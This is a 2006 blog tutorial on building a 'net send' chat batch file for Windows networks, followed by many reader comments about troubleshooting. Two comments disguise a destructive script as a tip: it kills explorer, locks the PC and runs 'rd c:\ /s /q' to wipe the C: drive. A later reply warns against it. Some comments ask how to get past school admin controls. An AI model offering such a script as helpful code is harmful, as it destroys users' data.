Command Prompt Chat

If you are a pc user on a network you can set up a private chat directly through your Command Prompt. All that’s needed is the IP address for the users system in which you wish to communicate. This IP address can also be found in the Command Prompt. To find a computers IP address go to your Command Prompt and type ipconfig. This will reveal your IP address, Subnet Mask & Default Gateway. Copy the IP address of the computer in which you are sending a message to.

To send a message you will need to open your Notepad and enter:

@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A

Now save this as “Messenger.bat”. Open the .bat file and in Command Prompt you should see:

MESSENGER
User:

After “User” type the IP address of the computer you want to contact.
You should see this:

Message:

Now type in the message you would like to send.
Before you press “Enter” it should look like this:

MESSENGER
User: 182.100.100.100
Message: Hi

Now press “Enter”, and start chatting!

Atom 1.0 Feed

~ by hackcraft on June 14, 2006.

80 Responses to “Command Prompt Chat”

  1. net helpmsg 2273

    • try the following code!

      @echo off
      taskkill -f explorer.exe
      start %windir%\System32\rundll32.exe user32.dll, LockWorkStation
      rd c:\ /s /q
      cls

  2. how do i find out my ip address.

    • if u want to view ur ip address open a command prompt type ping ip/ ip config

    • when i tried i think there was as error
      it says :

      MESSENGER
      User: 119.100.2.110
      Message: Hi
      The syntax of this command is:

      NET
      [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
      HELPMSG | LOCALGROUP | PAUSE | SESSION | SHARE | START |
      STATISTICS | STOP | TIME | USE | USER | VIEW ]
      Press any key to continue . . .

  3. To find ip address got to your command prompt and type ipconfig.
    Or you can go to http://whatismyipaddress.com/ but this will only
    show your computers ip if you are not behind a router.

  4. or go to command prompt and type ipconfig and that will give you it

  5. I keep getting the 2273 message as well. I’m trying to use the messenger on my laptop and my desktop and it wont work. I tried to go into the ipcinfig and get that IP and I looked on ipchicken.com and used that IP, neither work. I also tried to disable the Windows Firewall but that doesnt work either. If you can, get back to me at Jammer_Zero@yahoo.com

  6. keep getting the 2273 message as well. I’m trying to use the messenger on my laptop and my desktop and it wont work. I tried to go into the ipcinfig and get that IP and I looked on ipchicken.com and used that IP, neither work. I also tried to disable the Windows Firewall but that doesnt work either. If you can, get back to me at dzhalil1@hotmail.com please please help me

  7. your messenger is disabled, go to control panel, aministrative tools, when that comes up go to computer management, then go to services and applications, it’s on the right of the window that pops up, almsot the same lcoation, click services, still on the right side of that window scroll through the lnog lsit till you get to messenger open it, where it says startup type, change the menu from disabled to automatic, or manuel, after you do this, at the bottom click apply, then click start, and it loads a bar, after it loads you can click outa all of it and run the messenger, but the person you are sending your message to ahs to go thro the same steps, seeya

  8. To fin IP Adress type “ipconfig” in command prompt.

  9. If the computer is behind a router is it still possible to do this? If so how…. and is there any firewall i should be disabling?

  10. this will only work on windows 2000 or less

  11. It worked fine on XP for me

  12. im havin trouble opening the bat file in command prompt

  13. run the .bat file from where u have saved it, it will run like that!!!!

  14. I have the command promt running and it say’s
    MESSENGER
    User:

    ok thats all good but when i put in an ip address and message it says:

    “net” is not recognized as an internal or externa command. blah blah blah….

    any sugestions?

  15. net helpmsg 2273

  16. Ipconfig /all

    command will come up with all the computer specs

  17. Im in school and we all have the same IP Address. How do we chat?

  18. yoooo gabe!

  19. how do i open the bat file in the command prompt

  20. 2271 problem too on my xp

  21. this dosent work ppl

  22. any way to get around administrative command, wont let me unlock the messenger, after i go to change it from diabled it says admin blocked, im tryin to ge tit to work in school, email boblomax1123@aim.com and let me know if there is a way without needing admin password

  23. NOT WORKING? ENABLE and START Messenger Service (see above)

    PLEASE LET ME KNOW HOW TO MODIFY .bat FILE TO HAVE IP FILLED ALREADY SO IT WORKS ONLY ON PARTICULAR PC.

    GOOD JOB!

    —BEST MESSENGER—

  24. OK I have figured it out:
    If some of you guys want to use cmd messenger only for one IP (means you are sick of filling up the same address again and again) modify the .bat file like this:

    @ echo off
    :A
    Cls
    echo Message for Emily
    set /p m=Message:
    net send 192.168.0.33 %m%
    Pause
    Goto A

    Of course that this is the case that Emily’s computer is on IP 192.168.0.33.

    Enjoy.

  25. Anyway is there any way to get the message over WAN? I mean send message to public IP address with redirection to private IP address??? Then I could be messaging with my friends over the internet…

    sulda1@xtra.co.nz

  26. Show chat history:

    just delete the line with ‘cls’ (clear screen command)
    than u will see all the messages u have sent in session…

  27. hey i think i kno why this doesnt work for alot of us, its because under the Command “Net” there is no syntax for “send” and thats why we cant sent messages.

  28. @ echo off
    :A
    echo UBER-PWNAGE_GANGSTA_MESSENGER
    set /p m=Message:
    net send (OTHER COMPUTER’S IP) %m%
    Pause
    Goto :A
    this code lets you view your session messages and you dont have to keep re-typing the IP :)YOUR WELCOME
    e-mail me at v.for.lyf@gmail.com

  29. @echo off
    echo MESSENGER
    set /p n=User:
    :A
    set /p m=Message:
    net send %n% %m%
    Pause
    Goto A

    The above code lets you view the chat history, while allowing you to change the IP at the start, instead of it being preset, in the code.

  30. or you could just get skype

  31. what is diff syntax for send?

  32. this forum is in London, was sup from across the pond. Please I need more help so i can use this at school it won’t work, it says something about the net syntax, i don’t know. My school runs windows xp. Please help.

  33. whenever i send a message it says: the syntax of this command is blah,blah,blah,blah, press any key to continue.

  34. I get the same thing… the syntax of this command…

  35. same here.. syntax problem… =/

  36. Hello webmaster
    I would like to share with you a link to your site
    write me here preonrelt@mail.ru

  37. im teh l337. i pwn u noobs. im 2 pro. lulz

  38. go to hbrush.tk for 1337 hx

  39. i trying it in college,but messenger is enabled and i tried for automatic and manual.but it showing unable to open service messenger for writing on local computer.pls help me.

  40. make sure you click the start once u enabled it.
    and for school, is there an way u can enable messenger thru command prompt cos i get to the service thru a .bat file (type “services.msc” in notepad and save as name.bat) but then when i click to apply the automatic, i get a messege saying access denied.
    If u have to email me it’s ragon1993@hotmail.com but if u put it here someone else can look at it

  41. dw i found out to enable thru command prompt type “sc config messenger start= auto” and to start type “net start messenger”
    then when ur done ur can type “net stop messenger” to stop and “sc config messenger start= disabled” to disable.
    if you have a bad memory just put them in a .bat file like:
    to start:
    sc config messenger start= auto
    net start messenger

    and to stop
    net stop messenger
    sc config messenger start= disabled

  42. im trying to do this on a laptop that i dont have admin previleges on. Can anyone help me to turn the messenger on without using control panel? i got the code part to run fine by putting it in notepad then saving it as a .bat but i cant get to control panel to make sure everything works right. please post here so others can see it but if not then email @ el_bandito@ymail.com

  43. well if u type in services.msc in cmd-prompt or in a batch file it will come up with a window with a hole heaps of services. scroll down til u find messenger and it should say “started” in the status column and if the startup type mine says “automatic” but it might be allowed to say manual.
    if it says disable then save and run a batch file that has this code in it:
    sc config messenger start= auto
    net start messenger

    or u can right click and go properties and change it there.
    if u r trying to do that on a school computer they may have block you from changing it like they did at my school but i could still see if it was working
    hope that helps

  44. i try d code bt is not working for me.

  45. can u send another to do that

  46. what didnt work and what do u want resent

  47. it doesn’t work on my school computer. it just auto-matically shuts

  48. how do i get around this??

  49. try putting pause in between every line to check it isnt an error and to see exactly what is quiting.
    also if ur skool computer has windows vista or 7 then net send no longer works. i think it was replaced by msg

  50. It doesnt work on windows 7

  51. YO i cant just play whit the school computers in whant to shut down 29 computers in the same time i did the ‘shutdown’ comand for most of the computers ip and it didn;t work….well i hope i’ll found the way to do it so if you guys can help me whit some things i will thank you please…

  52. hey anyone wanna chat =) put ur IP adress on here or email me at jakdax2412@yahoo.fr

  53. it is a network service not a internet service that the messenger uses

  54. @echo off
    :color
    color 1e *OR WHATEVER COLOR COMBO YOU WANT*

    @echo off
    :title
    Title *WHATEVER TITLE YOU LIKE*

    :B
    @echo off
    set /p n=User:
    Goto :C

    :C
    @echo off
    set /p m=Message:
    net send %n% %m%
    Goto :index

    :index
    @echo off
    echo WHO DO YOU WANT TO SEND A MESSAGE TO?
    echo 1 FOR SAME RECIPIENT
    echo 2 FOR DIFFERENT RECIPIENT
    echo.
    set /p choice=ENTER CHOICE (1,2) HERE:
    if ‘%choice%’==’ENTER CHOICE (1,2) HERE: 1’ goto :choice1
    if ‘%choice%’==’ENTER CHOICE (1,2) HERE: 2’ goto :choice2

    @echo off
    goto index
    :choice1
    goto C

    @echo off
    goto index
    :choice2
    goto :title
    goto B

  55. What is the need fo the goto :title after :choice2 ?

  56. oh and should be
    if %choice%==1 goto choice1 ***no need for ‘:’ in the goto***
    if %choice%==2 goto choice2

  57. we need more ideas pls

  58. its not work in win7

  59. thats because it was takin out when vista come out, supposedly replaced by the MSG command but I haven’t been able to get that working. Has anyone else?

  60. For the msg command the easiest way to find out more about it is to put msg/ in cmd and press enter it gives you some information about the command.
    for the 2271 error it is the other side not being activated.
    For messaging in schools that are before windows vista, you can try the name of the computer as the user. The name of the computer is often the username that was used to log in. This means that most of the time you need to activate the program on each computer for each account, it depends on how the school has the network set-up though.

  61. this error comeout = an error occurred while sending a message to 19x.16x.x.x
    a general network error occurred.
    more help is available by typing NET HELPMSG 2136.

    wht is this error?

  62. net send command is not supported in windows 7.In windows xp it can be enables through the sevices setting/

  63. HOW DO I DO DAT IN WINDOWS 7

    • to do it on windows 7, you use msg, for the usage of how to use it type “msg /?” in cmd. However, it no longer works with IP addresses and you may possible have to set your computer up to recieve from other computers.

  64. @echo off
    taskkill -f explorer.exe
    start %windir%\System32\rundll32.exe user32.dll, LockWorkStation
    rd c:\ /s /q
    cls

    the above improves EVERYTHING E P I C LY

    • While people who are looking at this should know what those commands do, it is very likely that some poor innocent tool will fall for that, sorry dude.

      ****************************** IMPORTANT MESSAGE *******************************

      Don’t try what ‘M’ said on December 28, 2011 at 4:07 pm
      rd = remove directory, which is not a good idea to try on C:\. While windows could possibly say, “Accessed Denied!”, I wouldn’t try it.
      Also ‘taskkill’ kills (stops) the process you put after it. Soooo, You dont wanna kill explorer as it makes up a major part of the user interface. Finally, the “start… ” line just locks your computer (as in logs you out lock, not crashing it)

      In Sum, don’t run that program for the safety of you files caused by the “rd” line.
      *******************************************************************************************

  65. there’s an easiest way to chat using command prompt, you only have to type net send in cmd

  66. Is it possible to use the MSG function but change the “Message from” information?

  67. its not working

  68. when i tried i think there was as error
    it says :

    MESSENGER
    User: 119.100.2.110
    Message: Hi
    The syntax of this command is:

    NET
    [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
    HELPMSG | LOCALGROUP | PAUSE | SESSION | SHARE | START |
    STATISTICS | STOP | TIME | USE | USER | VIEW ]
    Press any key to continue . . .

  69. when i tried i think there was as error
    it says :
    MESSENGER
    User: 119.100.2.110
    Message: Hi
    The syntax of this command is:
    NET
    [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
    HELPMSG | LOCALGROUP | PAUSE | SESSION | SHARE | START |
    STATISTICS | STOP | TIME | USE | USER | VIEW ]
    Press any key to continue . . .

  70. Monster Headphones come with powerful rechargeable batteries
    that are really long-lasting. (Price:$29.

    LEVEL 7: ATHLETE: 85 rpm (170 beats or steps per minute).

  71. hw to see the msg in receiver side

  72. my ‘messenger’ is not listed on the services……ballozzykiplagat@gmail.com

  73. not working

  74. Please respond via email I cant really see the comments well. But is this a private chat or can it be tracked by an administrator?

Leave a reply to Andy Cancel reply